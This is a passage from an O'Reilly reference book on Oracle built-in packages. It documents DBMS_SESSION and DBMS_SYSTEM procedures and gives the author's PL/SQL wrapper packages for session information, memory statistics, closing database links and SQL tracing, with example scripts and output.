/* Filename on companion disk: sess1.sql */*
set serveroutput on size 1000000
BEGIN
   DBMS_SESSION.RESET_PACKAGE;
   DBMS_OUTPUT.PUT_LINE('You will not see this');
   DBMS_OUTPUT.ENABLE;
   DBMS_OUTPUT.PUT_LINE('Also invisible, since in same scope '||
                        'as RESET_PACKAGE call');
END;
/
set serveroutput on size 1000000
BEGIN
   DBMS_OUTPUT.PUT_LINE('New package states instantiated '||
                        'messages visible again!');
END;
/

Output from running this script follows:

SQL> @c:\opbip\examples\sess1.sql

PL/SQL procedure successfully completed.

New package states instantiated messages visible again!

PL/SQL procedure successfully completed.

As you can see, only the final call to DBMS_OUTPUT.PUT_LINE displays its message. The second call to DBMS_OUTPUT.PUT_LINE in the first block fails to produce output because the buffer used by DBMS_OUTPUT cannot be reinitialized within the same calling scope as RESET_PACKAGE.

11.1.4.4 The DBMS_SESSION.SET_CLOSE_CACHED_OPEN_CURSORS procedure

The SET_CLOSE_CACHED_OPEN_CURSORS procedure is used to set the close_cached_open_cursors property at the session level, overriding the database-wide setting established by the CLOSE_CACHED_OPEN_CURSORS initialization parameter. The header for this procedure looks like this:

PROCEDURE DBMS_SESSION.SET_CLOSE_CACHED_OPEN_CURSORS
   (close_cursors IN BOOLEAN);

The close_cursors parameter causes cached PL/SQL cursors to be automatically closed with a value of TRUE or kept open with a value of FALSE.

The SET_CLOSE_CACHED_OPEN_CURSORS procedure does not raise any declared exceptions and does not assert a purity level with the RESTRICT_REFERENCES pragma.

11.1.4.4.1 Example

To set CLOSE_CACHED_OPEN_CURSORS to on for the current session, specify the following:

BEGIN
   DBMS_SESSION.SET_CLOSE_CACHED_OPEN_CURSORS(TRUE);
END;

Most applications will probably have no need to use this procedure. When set to TRUE, the Oracle database will automatically close any cached PL/SQL cursors after a COMMIT or ROLLBACK, which releases the memory used by these cursors. When set to FALSE, cursors are held open in the cache across transactions, making subsequent executions somewhat faster. Applications that tend to use large cursors in a one-time or infrequent fashion (e.g., ad hoc query systems against a data warehouse) may benefit from setting this value to TRUE.

See the Oracle7 Server Reference Manual for more information on the CLOSE_CACHED_OPEN_CURSORS initialization parameter.

11.1.4.5 The DBMS_SESSION.SET_SQL_TRACE procedure

The SET_SQL_TRACE procedure is equivalent to the ALTER SESSION SET SQL_TRACE command. It is used to turn the Oracle SQL trace facility on or off for the session, primarily while debugging application problems. The SET_SQL_TRACE header looks like this:

PROCEDURE DBMS_SESSION.SET_SQL_TRACE
    (sql_trace IN BOOLEAN);

The sql_trace parameter sets the trace on if TRUE, off if FALSE.

The SET_SQL_TRACE procedure does not raise any exceptions.

11.1.4.5.1 Restrictions

Note the following restrictions on calling SET_SQL_TRACE:

  • In general, use the SET_SQL_TRACE procedure only when debugging application problems. Tracing session SQL calls adds overhead to the database and can generate numerous and sizable trace files on the host server.

  • The SET_SQL_TRACE procedure does not assert a purity level with the RESTRICT_REFERENCES pragma.

11.1.4.5.2 Example

Generate a trace file for the execution of a specific PL/SQL procedure call like this:

BEGIN
   DBMS_SESSION.SET_SQL_TRACE(TRUE);
   plsql_procedure_call;
   DBMS_SESSION.SET_SQL_TRACE(FALSE);
END;

The trace files generated when SQL tracing is turned on are created in the directory specified by the USER_DUMP_DEST initialization parameter for the Oracle database to which the session is connected.

Trace file naming conventions often make it difficult to identify the correct trace file when there are many in the directory specified by USER_DUMP_DEST. Executing a "tag" SQL statement after turning tracing on can facilitate trace file identification.

The trace files generated when SQL tracing is turned on are not directly readable. The Oracle utility program TKPROF can be used to generate a formatted summary of the trace file contents. The TKPROF output contains statistics on CPU time, elapsed time, and disk reads for the parse, execute, and fetch steps of each SQL statement in the trace file. This information can be invaluable when tracking down performance problems in complex applications. See the Oracle7 Server Tuning manual for instructions on using TKPROF.

11.1.5 DBMS_SESSION Examples

The DBMS_SESSION package is a kind of grab bag of ways to alter the user's current session characteristics in an Oracle database. Oracle provides a great deal of flexibility with respect to language settings and security. DBMS_SESSION includes several programs that are equivalent to the SQL commands SET ROLE and ALTER SESSION normally used to establish these settings. The following programs in DBMS_SESSION fall into this category:

SET_LABEL
SET_MLS_LABEL_FORMAT
SET_NLS
SET_ROLE

These programs are "high-level," in that they would normally be called directly from an application program and not be buried deep inside layers of PL/SQL code. In fact, the SET_ROLE procedure can only be called from anonymous PL/SQL blocks and not from within stored program (procedures and functions) code. So in practice, an application would begin by prompting the user for preferences, issue the appropriate DBMS_SESSION.SET procedure calls, and then move on to the real work.

Other programs in DBMS_SESSION are geared toward manipulating session-level resource utilization, particularly memory. In this category are the following DBMS_SESSION programs:

SET_CLOSE_CACHED_OPEN_CURSORS
CLOSE_DATABASE_LINK
FREE_UNUSED_USER_MEMORY
RESET_PACKAGE

These are also quite "high-level" routines, but more likely to find their way into application code under the right circumstances.

One thing that DBMS_SESSION does not have (and that it should) is a function to return the current session id. This is frequently asked for by developers and DBAs and is relatively easy to provide.

NOTE: The source code for all of the examples is in a file called mysess.sql, which creates the package called my_session shown in this section that includes these examples.

11.1.5.1 Adding value to DBMS_SESSION

Let's take a look at how we can use DBMS_SESSION and add a little value along the way. I've created a package called my_session to do just that. Here is the package specification:

/* Filename on companion disk: mysess.sql */*
CREATE OR REPLACE PACKAGE my_session
   /*
   || Extends some of the functionality of DBMS_SESSION
   || and provides access to additional session-level
   || information.
   ||
   || Author:  John Beresniewicz, Savant Corp
   ||
   || 12/22/97: exposed load_unique_id as/per Phil Pitha
   || 09/07/97: modified function SID to assert WNPS
   ||           and not call load_my_session_rec
   || 07/27/97: created
   ||
   || Compilation Requirements:
   ||
   || SELECT on sys.v_$session
   || SELECT on sys.v_$sesstat
   || SELECT on sys.v_$statname
   ||
   || Execution Requirements:
   ||
   || ALTER SESSION
   */
AS
   /* same as DBMS_SESSION.UNIQUE_SESSION_ID but callable in SQL */
   FUNCTION unique_id RETURN VARCHAR2;
   PRAGMA RESTRICT_REFERENCES(unique_id, WNDS,WNPS);

   /*
   || loads unique_session_id into global variable, must be called
   || prior to using function unique_id
   */
   PROCEDURE load_unique_id;

   /* returns session id of current session, callable in SQL */
   FUNCTION sid RETURN NUMBER;
   PRAGMA RESTRICT_REFERENCES(sid,WNDS,WNPS);

   /* closes any open database links not in use */
   PROCEDURE close_links
      (force_with_commit_TF IN BOOLEAN DEFAULT FALSE);

   /* loads session data, should be private but needs to assert purity */
   PROCEDURE load_my_session_rec;
   PRAGMA RESTRICT_REFERENCES(load_my_session_rec,WNDS);

   /* resets package states and frees memory */
   PROCEDURE reset;

   /* returns current stat value from V$SESSTAT for this session */
   FUNCTION statval(statname_IN IN VARCHAR2) RETURN NUMBER;

   /* displays session uga and pga using DBMS_OUTPUT */
   PROCEDURE memory;

   /* turns SQL tracing on/off with tag for file identification */
   PROCEDURE set_sql_trace
      (trace_TF IN  BOOLEAN
      ,tag_IN  IN  VARCHAR2 DEFAULT USER);

END my_session;

You will notice that several of the programs seem very similar to programs in DBMS_SESSION. Well, they are, but with some important differences.

11.1.5.2 The unique_id function

Prior to Oracle 7.3.3, the DBMS.SESSION.UNIQUE_SESSION_ID function did not assert any purity level using the RESTRICT_REFERENCES pragma and thus could not be called directly from SQL statements. This is unfortunate, because one nice potential use of the function is as an identifier for applications making use of shared temporary tables. In other words, some applications will find it useful to do things like the following:

INSERT INTO temp_table (session_id, other_columns...)
VALUES (DBMS_SESSION.UNIQUE_SESSION_ID, other_columns...);
DELETE FROM temp_table
 WHERE session_id = DBMS_SESSION.UNIQUE_SESSION_ID;
Thankfully, Oracle Corporation has corrected this shortcoming in the latest releases of DBMS_SESSION. For those not fortunate enough to be using 7.3.3 or 8.0, the my_session.unique_id function can be used as a workaround. This function returns the same string as DBMS_SESSION.UNIQUE_SESSION_ID, yet it asserts a purity level of WNDS and can thus be called from SQL.
Here is the source to unique_id and its companion procedure load_unique_id:
/* Filename on companion disk: mysess.sql */
/* private global to hold DBMS_SESSION.UNIQUE_SESSION_ID */
   unique_id_  VARCHAR2(40);

   /*
   || loads unique_session_id into global variable, must be called
   || prior to using function unique_id
   */
   PROCEDURE load_unique_id
   IS
   BEGIN
    unique_id_ := DBMS_SESSION.UNIQUE_SESSION_ID;
   END load_unique_id;

   /*
   || returns unique_id_ loaded by call to load_unique_id
   */
   FUNCTION unique_id RETURN VARCHAR2
   IS
   BEGIN
      RETURN unique_id_;
   END unique_id;
As you can see, unique_id simply returns the value of a private package global variable that is set by the load_unique_id procedure to the value returned by DBMS_SESSION.UNIQUE_SESSION_ID. The only caveat is that load_unique_id must be called in the session prior to calling unique_id (or a NULL value will be returned). Note that using a private global and function is safer than using a public global, since the public global cannot be protected from inadvertent modification.
11.1.5.3 The load_my_session_rec procedure
Each session has a unique row in the V$SESSION virtual table with various columns containing identification and activity information about the session. The load_my_session_rec procedure selects the row in V$SESSION corresponding to the current session and loads it into a package global record called my_session_rec.
/* Filename on companion disk: mysess.sql */*
/*
|| my_session_cur and my_session_rec are both declared
|| to always hold all columns of V$SESSION
*/
CURSOR my_session_cur
IS
SELECT  *
    FROM  sys.v_$session
    WHERE  audsid = USERENV('SESSIONID');

my_session_rec  sys.v_$session%ROWTYPE;

/*
|| loads V$SESSION data into global record for current session
*/
PROCEDURE load_my_session_rec
IS
BEGIN
    OPEN my_session_cur;
    FETCH my_session_cur INTO my_session_rec;
    CLOSE my_session_cur;
END load_my_session_rec;
Notice that load_my_session_rec is written in a way that ensures it always gets all columns of V$SESSION. This is accomplished by anchoring the package global my_session_rec to V$SESSION using %ROWTYPE in the declaration. Similarly, the cursor my_session_cur used to fetch into my_session_rec is anchored to V$SESSION by using the SELECT * syntax. This is a nice technique. Since V$SESSION can change with Oracle versions, writing the procedure in this way allows it to adjust itself to the particular version of Oracle under which it is executing.
11.1.5.4 The sid function
Several of the Oracle dynamic performance (V$) views are keyed by session id because they contain session-level performance data. Many developers and DBAs have had to answer the question "What is my current sid?" when delving into these performance tables. I don't know why DBMS_SESSION does not come with a sid function, but my_session sure does. Here is the relevant source code:
/* Filename on companion disk: mysess.sql */   /*
/*
    || returns the session id of current session
*/
FUNCTION sid RETURN NUMBER
    temp_session_rec sys.v_$session%ROWTYPE;
BEGIN
    IF my_session_rec.sid IS NULL
    THEN
        OPEN my_session_cur;
        FETCH my_session_cur INTO temp_session_rec;
        CLOSE my_session_cur;
    ELSE
        temp_session_rec := my_session_rec;
      END IF;
      RETURN temp_session_rec.sid;
END sid;
The sid function itself is quite simple, yet it has a subtle but important performance optimization. Since the session id will never change for the duration of the session, it is necessary to load it only once, and this can be done using the load_my_session_rec procedure. The IF statement checks to see if we've already loaded the my_session_rec.sid and bypasses opening my_session_cur in that case. Remember that we intend to use the function in SQL statements, and it will be executed for every row returned in which the function is referenced. That simple IF statement could save hundreds (or even thousands) of scans on the V$SESSION view per SQL statement. Be sure to execute load_my_session_rec before using the sid function to avoid the unnecessary performance penalty.
We can use the my_session.sid function to view our current performance statistics from V$SESSTAT as follows:
SELECT n.name,s.value
  FROM v$statname n, v$sesstat s
 WHERE n.statistic# = s.statistic#
   AND s.sid = my_session.sid;
NOTE: Astute readers may ask: Why not just call load_my_session_rec from the sid function if my_session_rec.sid has not been initialized? Well, originally this is exactly the way sid was written. However, since load_my_session_rec modifies package state, this meant that WNPS (Writes No Package State) purity could not be asserted for the sid function. In order to use a PL/SQL function in the WHERE clause of a SQL statement, the function must assert WNPS, so sid had to be modified to not call load_my_session_rec.
11.1.5.5 The close_links procedure
The Oracle initialization parameter OPEN_LINKS controls the maximum number of concurrent open connections to remote databases per user session. When a session exceeds this number, the following Oracle error is raised:
ORA-02020
Too many database links in use.
Generally, the database administrator should set the OPEN_LINKS parameter to a value that will accommodate the needs of distributed applications accessing the database. However, in highly distributed environments with multiple applications, it's possible that users could receive the ORA-02020 error. Presumably, this is the purpose of the CLOSE_DATABASE_LINK procedure; however, there is a serious problem. Quite simply, users should not have to know anything about database links nor, for that matter, should applications. Database links are an implementation detail that should be kept transparent to users and applications. The real question is: When an ORA-02020 is incurred, how is a user or application supposed to know which links are open and can be closed?
Well, it's my opinion that users should not have to know about specific database links and yet should be able to do something in case of an ORA-02020 error. That is precisely the purpose of my_session.close_links. That procedure will close any open links that are not in use and can be closed. A link is considered in use if it has been referenced within the current transaction (i.e., since the last COMMIT or ROLLBACK). Alternatively, close_links will close all open links by issuing a COMMIT to terminate the current transaction and free all links for closure.
/* Filename on companion disk: mysess.sql */*
/*
|| closes all open database links not in use by session,
|| or all if forced_with_commit_TF is TRUE
*/
PROCEDURE close_links
   (force_with_commit_TF IN BOOLEAN DEFAULT FALSE)
   IS

      /* declare exceptions for ORA errors */
      dblink_in_use EXCEPTION;
      PRAGMA EXCEPTION_INIT(dblink_in_use,-2080);

      dblink_not_open EXCEPTION;
      PRAGMA EXCEPTION_INIT(dblink_not_open,-2081);

      /* cursor of all db links available to user */
      CURSOR all_links_cur
      IS
      SELECT db_link
        FROM all_db_links;

   BEGIN
      /* try all links and close the ones you can */
      FOR dblink_rec IN all_links_cur
      LOOP
         BEGIN
            DBMS_SESSION.CLOSE_DATABASE_LINK(dblink_rec.db_link);
         EXCEPTION
            WHEN dblink_not_open
               THEN null;
            WHEN dblink_in_use
               THEN
                  IF force_with_commit_TF
                  THEN
                     COMMIT;
                     DBMS_SESSION.CLOSE_DATABASE_LINK(dblink_rec.db_link);
                  END IF;
            WHEN OTHERS
               THEN null;
         END;
      END LOOP;
   END close_links;
There are a few things to note in this procedure. First, exceptions are declared and assigned to the two Oracle errors that can be raised by the DBMS_SESSION.CLOSE_DATABASE_LINK procedure. This is done using PRAGMA EXCEPTION_INIT compiler directives. Next comes a loop through all database links available to the user. For each link in the loop, we execute DBMS_SESSION.CLOSE_DATABASE_LINK in a BEGIN...END block and trap the exceptions raised by links that were not open or in use. Trapping the exceptions allows the loop to continue until all links have been processed.
Originally, the procedure would close only links that were not in use. I decided to enhance it to accept a BOOLEAN parameter called force_with_commit_TF. When this parameter is TRUE, the dblink_in_use exception handler issues a COMMIT. This terminates the current transaction and frees all database links to be closed, including the one that raised the exception that is closed in the exception handler. This enhancement allows the procedure to close all database links for the session.
NOTE: The V$DBLINK virtual table shows database links that the current session has open. The IN_TRANSACTION column indicates whether the open link is in use or can be closed using DBMS_SESSION.CLOSE_DATABASE_LINK.
11.1.5.6 The set_sql_trace procedure
The SQL trace facility is an invaluable tool for debugging application performance problems. However, one problem that developers and DBAs often run into when using SQL trace is identifying the correct trace file from among the possibly hundreds of trace files that tend to collect and hang around in the directory specified by the USER_DUMP_DEST parameter. One technique is to put a literal tag in trace files by executing a SQL command such as the following:
SELECT 'JOHN B: TRACE 1' FROM DUAL;
When issued immediately after setting SQL_TRACE to TRUE, the statement will appear in the trace file, and a utility like grep or awk can be used to scan the directory for the file with the correct literal tag. In my_session.set_sql_trace, I've enhanced DBMS_SESSION.SET_SQL_TRACE to accept a string tag and place it into the trace file when turning trace on. The DBMS_SQL package is used to  build and parse a SQL statement dynamically with the tag literal in it.
/* Filename on companion disk: mysess.sql */*
/*
|| turns SQL tracing on/off with tag for file identification
*/
PROCEDURE set_sql_trace
    (trace_TF IN  BOOLEAN
    ,tag_IN  IN  VARCHAR2 DEFAULT USER)
IS
    cursor_id  INTEGER;
BEGIN
    DBMS_SESSION.SET_SQL_TRACE(trace_TF);

    IF trace_TF
    THEN
        cursor_id := DBMS_SQL.OPEN_CURSOR;

        /* parse a SQL stmt with the tag in it */
        DBMS_SQL.PARSE
            (cursor_id
            ,'SELECT '''||tag_IN||''' FROM DUAL'
            ,DBMS_SQL.native);

    DBMS_SQL.CLOSE_CURSOR(cursor_id);
      END IF;
   END set_sql_trace;
Note that it is not necessary to execute the tag SQL statement; the parse will get it into the trace file. After all, there is no need to do more work than absolutely required.
11.1.5.7 The reset procedure
The DBMS_SESSION.RESET_PACKAGE procedure invalidates all package states, including all global variables and PL/SQL tables. However, it does not free the memory associated with these now empty structures; that is the job of DBMS_SESSION.FREE_UNUSED_USER_MEMORY. The my_session.reset procedure combines these into a single call.
/* Filename on companion disk: mysess.sql */*
/*
|| resets all package states and frees memory
*/
PROCEDURE reset
IS
BEGIN
    DBMS_SESSION.RESET_PACKAGE;
    DBMS_SESSION.FREE_UNUSED_USER_MEMORY;
END reset;
Originally, I designed the reset procedure to call load_unique_id and load_my_session_rec immediately after initializing the package and freeing memory. The idea was that some package states should always be available, so why not reinitialize them immediately? However, I had stepped into the DBMS_SESSION.RESET_PACKAGE trap, which prevents any package state from being established within the same calling scope as the call to RESET_PACKAGE.
It is good practice for programs that rely on package state to check expected package variables and initialize them if necessary.
11.1.5.8 The memory procedure
The my_session.memory procedure was developed to provide experimental results from using DBMS_SESSION.RESET and DBMS_SESSION.FREE_UNUSED_USER_MEMORY. It uses DBMS_OUTPUT to display the current session memory's UGA and PGA sizes. If you ever wondered how much memory that big package really uses, check it out with my_session.memory.
/* Filename on companion disk: mysess.sql */*
/*
|| displays session uga and pga using DBMS_OUTPUT
*/
PROCEDURE memory
IS
BEGIN
    DBMS_OUTPUT.ENABLE;
    DBMS_OUTPUT.PUT_LINE('session UGA: '||
        TO_CHAR(my_session.statval('session uga memory') ) );
    DBMS_OUTPUT.PUT_LINE('session PGA: '||
        TO_CHAR(my_session.statval('session pga memory') ) );
END memory;
The memory procedure uses a function called statval, which returns the value of a V$SESSTAT statistic for the current session by name. It's a handy little function.
/* Filename on companion disk: mysess.sql */*
/*
|| returns current value of a statistic from
|| V$SESSTAT for this session
*/
FUNCTION statval(statname_IN IN VARCHAR2) RETURN NUMBER
IS
    CURSOR sesstat_cur (statname VARCHAR2)
    IS
        SELECT  s.value
              FROM  sys.v_$sesstat  s
                 ,sys.v_$statname n
        WHERE  s.statistic# = n.statistic#
            AND  s.sid  = my_session.sid
            AND  n.name = statname;
    return_temp  NUMBER;
BEGIN
    OPEN sesstat_cur(statname_IN);
    FETCH sesstat_cur INTO return_temp;
    CLOSE sesstat_cur;
    RETURN return_temp;
EXCEPTION
    WHEN OTHERS THEN
        IF sesstat_cur%ISOPEN
        THEN
            CLOSE sesstat_cur;
        END IF;
        RETURN NULL;
END statval;
Notice that statval uses the my_session.sid funtion in the cursor sesstat_cur.
The following script demonstrates the inefficiency of PL/SQL tables of VARCHAR2 under Oracle 7.3 using my_session.memory:
/* Filename on companion disk: sess2.sql */*
set serveroutput on size 100000

DECLARE
    TYPE my_tabtype IS TABLE OF VARCHAR2(2000)
        INDEX BY BINARY_INTEGER;

    my_tab my_tabtype;
BEGIN
    my_session.memory;
    FOR i IN 1..1000
    LOOP
        my_tab(i) := TO_CHAR(i);
    END LOOP;
    my_session.memory;
END;
/
Here is sample output from executing this script:
session UGA: 36048
session PGA: 103328
session UGA: 36048
session PGA: 2248352

PL/SQL procedure successfully completed.
Even though each entry in the PL/SQL table my_tab has at most three characters, session PGA memory grew by more than two megabytes! Luckily, this problem is fixed in PL/SQL8.
Previous: III. Server Management Packages | Oracle Built-in Packages | Next: 11.2 DBMS_System: Setting Events for Debugging
III. Server Management Packages | Book Index | 11.2 DBMS_System: Setting Events for Debugging
  The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home

Oracle PL/SQL Programming, 2nd. Ed.

Guide to Oracle 8i Features

Oracle Built-in Packages

Advanced PL/SQL Programming with Packages

Oracle Web Applications

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Built-ins Pocket Reference


[Chapter 11] 11.2 DBMS_System: Setting Events for Debugging

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

11.2 DBMS_System: Setting Events for Debugging

The DBMS_SYSTEM package contains procedures for setting special internal trace events that can help the DBA or Oracle Technical Support personnel diagnose and debug serious database problems.

The procedures in DBMS_SYSTEM are used by DBAs under special circumstances and should not be used by end users or coded into applications. Most of the procedures should be used only under specific instructions from Oracle Technical Support, as improper usage can actually crash or damage the database. The extremely useful SET_SQL_TRACE_IN_SESSION procedure, however, has less serious implications. Both DBAs and developers should be aware of and know how to use it.

11.2.1 Getting Started with DBMS_SYSTEM

The DBMS_SYSTEM package is created when the Oracle database is installed. The dbmsutil.sql script (found in the built-in packages source code directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation.

Unlike the other packages created by the dbmsutil.sql script, no public synonym for DBMS_SYSTEM is created, and no privileges on the package are granted. Thus, only the SYS user can normally reference and make use of this package. Other users (or roles) can be granted access to DBMS_SYSTEM by having the SYS user issue the following SQL command:

GRANT EXECUTE ON DBMS_SYSTEM TO username;

In practice, it is probably better and safer to create a cover package around DBMS_SYSTEM and grant EXECUTE privilege on the cover package to specific users or roles, as indiscriminate use of the DBMS_SYSTEM procedures can cause serious problems.

NOTE: In Oracle 8.0, the DBMS_SYSTEM package specification was moved from the dbmsutil.sql script into prvtutil.plb (the "wrapped" file), protecting it further from inadvertent access.

Table 11.2 lists the programs provided by this package.

Table 11.2: DBMS_SYSTEM Programs
Name | Description | Use in SQL?
READ_EV | Reads trace event level for current session | No
SET_EV | Sets trace event levels in user session | No
SET_SQL_TRACE_IN_SESSION | Sets SQL tracing on or off in user session | No

DBMS_SYSTEM does not declare any exceptions or any non-program elements.

11.2.2 DBMS_SYSTEM Interface

This section describes the programs defined in the DBMS_SYSTEM package.

11.2.2.1 The DBMS_SYSTEM.READ_EV procedure

The READ_EV procedure is used to read trace event level settings for the current session. Here's the header for this program:

PROCEDURE DBMS_SYSTEM.READ_EV
    (iev BINARY_INTEGER
    ,oev OUT BINARY_INTEGER);

Parameters are summarized in the following table.

Parameter | Value
iev | Event number
oev | Event level

The program does not raise any exceptions.

11.2.2.1.1 Restrictions

Note the following restrictions on calling READ_EV:

  • The READ_EV procedure should not be invoked by end users or called by PL/SQL programs. Its usage is limited to Oracle internal purposes or under instruction of Oracle Technical Support. Improper use of the procedure by end users can have adverse effects on database performance.

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

11.2.2.1.2 Example

The following example[1] will display event-level settings for the current session:

[1] Supplied by Ken Robinson of Oracle Technical Support.

/* Filename on companion disk: readev.sql */*
DECLARE
    event_level number;
BEGIN
    FOR i IN 10000..10999 LOOP
        DBMS_SYSTEM.READ_EV(i,event_level);
        IF (event_level > 0)
        THEN
            DBMS_OUTPUT.PUT_LINE('Event '||TO_CHAR(i)||' set at level '||
                TO_CHAR(event_level) );
        END IF;
    END LOOP;
END;
/

11.2.2.2 The DBMS_SYSTEM.SET_EV procedure

The SET_EV procedure is used to set trace event levels in another user session. It is equivalent to having that session issue the ALTER SESSION SET EVENTS event syntax command. Since the other session may be engaged in an application, setting an event may not be possible. Here's the header for this program:

PROCEDURE DBMS_SYSTEM.SET_EV
   (si BINARY_INTEGER
   ,se BINARY_INTEGER
   ,ev BINARY_INTEGER
   ,le BINARY_INTEGER
   ,nm IN VARCHAR2);

Parameters are summarized in the following table.

Parameter | Description
si | User session id
se | User session serial number
ev | Trace event number
le | Trace event level
nm | Trace event name

The program does not raise any exceptions.

11.2.2.2.1 Restrictions

Note the following restrictions on calling SET_EV:

  • The SET_EV procedure should not be invoked by end users or called by PL/SQL programs. Its usage is limited to Oracle internal purposes or under instruction of Oracle Technical Support. Improper use of the procedure by end users can have adverse effects on database performance or cause database crashes.

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

To learn more about Oracle trace events and their usage in diagnosing and debugging serious database problems, see the Oracle Backup & Recovery Handbook, by Rama Velpuri (Oracle Press, 1995).

11.2.2.3 The DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION procedure

The SET_SQL_TRACE_IN_SESSION procedure enables or disables SQL tracing in another user's session. It is especially useful for analyzing and debugging runtime performance issues in applications. Here's the header for this program:

PROCEDURE DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION
   (sid IN NUMBER
   ,serial# IN NUMBER
   ,sql_trace IN BOOLEAN);

Parameters are summarized in the following table.

Parameter | Value
sid | Session id
serial# | Session serial number
sql_trace | TRUE turns trace on, FALSE turns trace off

The program does not raise any exceptions, nor does it assert a purity level with the RESTRICT_REFERENCES pragma.

11.2.2.3.1 Example

Set SQL tracing on in a session identified by sid = 15 and serial number = 4567 like this:

BEGIN
   SYS.DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION(15,4567,TRUE);
END;

The sid, serial number, and username for all sessions currently connected to the database can be obtained using the following query:

SELECT sid, serial#, username
  FROM v$session;

Trace files generated when SQL tracing is turned on are created in the directory specified by the USER_DUMP_DEST initialization parameter for the Oracle database to which the session is connected. SQL trace files can be formatted for readability using the TKPROF utility. See the Oracle7 Server Tuning manual for instructions on using TKPROF.

11.2.3 DBMS_SYSTEM Examples

DBMS_SYSTEM has some mysterious and apparently dangerous procedures in it. Obtaining any information about SET_EV and READ_EV was very difficult and promises to be more difficult in the future since the package header is no longer exposed in Oracle 8.0.

In spite of Oracle's desire to keep DBMS_SYSTEM "under wraps," I feel strongly that the SET_SQL_TRACE_IN_SESSION procedure is far too valuable to be hidden away in obscurity. DBAs and developers need to find out exactly what is happening at runtime when a user is experiencing unusual performance problems, and the SQL trace facility is one of the best tools available for discovering what the database is doing during a user's session. This is especially useful when investigating problems with software packages where source code (including SQL) is generally unavailable.

So how can we get access to the one program in DBMS_SYSTEM we want without exposing those other dangerous elements to the public? The answer, of course, is to build a package of our own to encapsulate DBMS_SYSTEM and expose only what is safe. In the process, we can make DBMS_SYSTEM easier to use as well. Those of us who are "keyboard-challenged" (or just plain lazy) would certainly appreciate not having to type a procedure name with 36 characters.

I've created a package called trace to cover DBMS_SYSTEM and provide friendlier ways to set SQL tracing on or off in other user's sessions. Here is the package specification:

*/ Filename on companion disk: trace.sql */*
CREATE OR REPLACE PACKAGE trace
IS
   /*
   || Exposes DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION
   || with easier to call programs
   ||
   || Author:  John Beresniewicz, Savant Corp
   || Created: 07/30/97
   ||
   || Compilation Requirements:
   || SELECT on SYS.V_$SESSION
   || EXECUTE on SYS.DBMS_SYSTEM (or create as SYS)
   ||
   || Execution Requirements:
   ||
   */

   /* turn SQL trace on by session id */
   PROCEDURE Xon(sid_IN IN NUMBER);

   /* turn SQL trace off by session id */
   PROCEDURE off(sid_IN IN NUMBER);

   /* turn SQL trace on by username */
   PROCEDURE Xon(user_IN IN VARCHAR2);

   /* turn SQL trace off by username */
   PROCEDURE off(user_IN IN VARCHAR2);

END trace;

The trace package provides ways to turn SQL tracing on or off by session id or username. One thing that annoys me about DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION is having to figure out and pass a session serial number into the procedure. There should always be only one session per sid at any time connected to the database, so trace takes care of figuring out the appropriate serial number behind the scenes.

Another improvement (in my mind) is replacing the potentially confusing BOOLEAN parameter sql_trace with two distinct procedures whose names indicate what is being done. Compare the following commands, either of which might be used to turn SQL tracing off in session 15 using SQL*Plus:

SQL> execute trace.off(sid_IN=>15);

SQL> execute SYS.DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION(15,4567,FALSE);

The first method is both more terse and easier to understand.

The xon and off procedures are both overloaded on the single IN parameter, with versions accepting either the numeric session id or a character string for the session username. Allowing session selection by username may be easier than by sids. Why? Because sids are transient and must be looked up at runtime, whereas username is usually permanently associated with an individual. Beware, though, that multiple sessions may be concurrently connected under the same username, and invoking trace.xon by username will turn tracing on in all of them.

Let's take a look at the trace package body:

/* Filename on companion disk: trace.sql */*
CREATE OR REPLACE PACKAGE BODY trace
IS

   /*
   || Use DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION to turn tracing on
   || or off by either session id or username.  Affects all sessions
   || that match non-NULL values of the user and sid parameters.
   */
   PROCEDURE set_trace
      (sqltrace_TF BOOLEAN
      ,user IN VARCHAR2 DEFAULT NULL
      ,sid IN NUMBER DEFAULT NULL)
   IS
   BEGIN
      /*
      || Loop through all sessions that match the sid and user
      || parameters and set trace on in those sessions.  The NVL
      || function in the cursor WHERE clause allows the single
      || SELECT statement to filter by either sid OR user.
      */
      FOR sid_rec IN
         (SELECT sid,serial#
            FROM sys.v_$session   S
           WHERE S.type='USER'
             AND S.username = NVL(UPPER(user),S.username)
             AND S.sid      = NVL(sid,S.sid) )
      LOOP
         SYS.DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION
            (sid_rec.sid, sid_rec.serial#, sqltrace_TF);
      END LOOP;
   END set_trace;

   /*
   || The programs exposed by the package all simply
   || call set_trace with different parameter combinations.
   */
   PROCEDURE Xon(sid_IN IN NUMBER)
   IS
   BEGIN
      set_trace(sqltrace_TF => TRUE, sid => sid_IN);
   END Xon;

   PROCEDURE off(sid_IN IN NUMBER)
   IS
   BEGIN
      set_trace(sqltrace_TF => FALSE, sid => sid_IN);
   END off;

   PROCEDURE Xon(user_IN IN VARCHAR2)
   IS
   BEGIN
      set_trace(sqltrace_TF => TRUE, user => user_IN);
   END Xon;

   PROCEDURE off(user_IN IN VARCHAR2)
   IS
   BEGIN
      set_trace(sqltrace_TF => FALSE, user => user_IN);
   END off;

END trace;

All of the real work done in the trace package is contained in a single private procedure called set_trace. The public procedures merely call set_trace with different parameter combinations. This is a structure that many packages exhibit: private programs with complex functionality exposed through public programs with simpler interfaces.

One interesting aspect of set_trace is the cursor used to get session identification data from V_$SESSION. I wanted to identify sessions for tracing by either session id or username. I could have just defined two cursors on V_$SESSION with some conditional logic deciding which cursor to use, but that just did not seem clean enough. After all, less code means fewer bugs. The solution I arrived at: make use of the NVL function to have a single cursor effectively ignore either the sid or the user parameter when either is passed in as NULL. Since set_trace is always called with either sid or user, but not both, the NVLs act as a kind of toggle on the cursor. I also supplied both the sid and user parameters to set_trace with the default value of NULL so that only the parameter being used for selection needs be passed in the call.

Once set_trace was in place, the publicly visible procedures were trivial.

